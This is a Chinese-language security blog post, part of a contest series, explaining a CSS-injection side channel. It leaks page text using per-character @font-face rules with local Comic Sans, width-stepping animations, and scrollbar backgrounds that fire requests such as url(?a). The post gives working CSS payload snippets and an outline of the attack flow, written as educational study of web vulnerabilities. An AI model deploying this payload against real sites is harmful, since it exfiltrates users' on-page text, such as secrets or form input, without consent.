iT邦幫忙

2023 iThome 鐵人賽

DAY 12
0
Security

從自建漏洞中學習 - 一起填坑吧系列 第 12

CSS 相關的攻擊 (下篇之 4)

  • 分享至 

  • xImage
  •  

CSS 相關的攻擊(下篇之 4)

文字節點洩漏(二):使用預設字體精準猜字元集

本篇介紹一種更進階、不依賴外部字體檔案 的 CSS 洩漏技巧,僅透過瀏覽器內建的字體,就能偷偷推測使用者輸入的文字內容!

攻擊概念:透過動畫+預設字體找出文字中出現的字元

這個方法的核心邏輯是:

使用動畫讓一段文字逐漸「顯示」出來

每次增加一個字元寬度,讓內容從後綴漸漸「移動」到前綴行

若某字元存在,將觸發垂直 scrollbar,就能作為 side-channel 洩漏

關鍵技巧解析:

  • 使用 @font-face 搭配 unicode-range 偵測字元
    @font-face 可以為某些字元(Unicode 範圍)指定字體

當該字元在畫面中出現時,瀏覽器才會啟用對應字體

若這字體的樣式造成高度變化,就會觸發 scrollbar!

不使用外部資源怎麼辦?

使用內建字體如 Comic Sans MS(高度較高)

讓它成為我們的「字元偵測器」!

攻擊範例(精簡重組)

@font-face {
  font-family: has_A;
  src: local('Comic Sans MS');
  unicode-range: U+41; /* A */
}
@font-face {
  font-family: has_B;
  src: local('Comic Sans MS');
  unicode-range: U+42; /* B */
}
/* 持續定義其他字元... */
div.leak {
  overflow-y: auto;               /* 開啟垂直 scroll bar 偵測 */
  overflow-x: hidden;
  height: 40px;
  font-size: 0px;
  font-family: rest;
  width: 0px;
  animation: loop step-end 200s 0s, trychars step-end 2s 0s;
  animation-iteration-count: 1, infinite;
}

div.leak::first-line {
  font-size: 30px;               /* 第一行顯示出可見文字 */
  text-transform: uppercase;
}

兩個動畫邏輯:

  1. @keyframes loop – 逐步增加寬度(模擬逐字顯示)
@keyframes loop {
  0% { width: 0px }
  1% { width: 20px }
  2% { width: 40px }
  3% { width: 60px }
  /* 可依需要調整 */
  7% { width: 0px }
}
  1. @keyframes trychars – 輪流切換字體,偵測出現的字元
@keyframes trychars {
  0%  { font-family: rest; }
  5%  { font-family: has_A, rest; --leak: url(?a); }
  6%  { font-family: rest; }
  10% { font-family: has_B, rest; --leak: url(?b); }
  11% { font-family: rest; }
  /* 持續偵測所有可能字元 */
}

Scroll bar Side-channel:

當某字元成功被渲染成 Comic Sans(且高度增加),會觸發 scroll bar 出現。我們再定義 scroll bar 背景來進行洩漏:

div::-webkit-scrollbar:vertical {
  background: blue var(--leak);
}

這會讓有出現的字元觸發對 ?a?b 等的 request。

攻擊技巧揭露自 "Slackers": https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/

不同於前幾篇的地方?

  • 不需要外部字體(只用 local('Comic Sans MS'))

  • 可大量嘗試字元(從 AZ、09 等)

  • 結合動畫可精準控制「逐字增長」並拆出 prefix

攻擊流程摘要:

建立 @font-face 對應所有想猜的字元

設定動畫,每次增加文字寬度

當新字元出現於畫面時,若觸發 scrollbar,即可透過 background 洩漏字元

重複動作 → 逐步洩露整段文字

小結:文字節點洩漏技巧的重點回顧

技術名稱 技巧要點
unicode-range 只在對應字元出現時才載入特定字體
local(font) 不依賴外部資源也能測試字元
first-line + scroll 用於分離 prefix 並製造 scrollbar 偵測
@keyframes + width 模擬逐字 reveal,搭配動畫達成 side-channel
--leak + background 洩漏機制:改變 scrollbar 背景送出資料

今天的介紹就差不多到這邊~ 對於 css 相關的攻擊參考網站我放在 Reference~
可以參考參考 /images/emoticon/emoticon33.gif


今日小心得

透過寫鐵人賽文章,我開始反思自己時間管控能力XD
剛好最近很努力在加強自己各方面的能力,順便藉此多增加自己對於資安的知識!
期望之後也能再多學習新的課程,並且考考看資安證照 ~ 當成長期目標囉 ~~


Reference


上一篇
CSS 相關的攻擊 (下篇之 3)
下一篇
Insecure Design
系列文
從自建漏洞中學習 - 一起填坑吧30
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言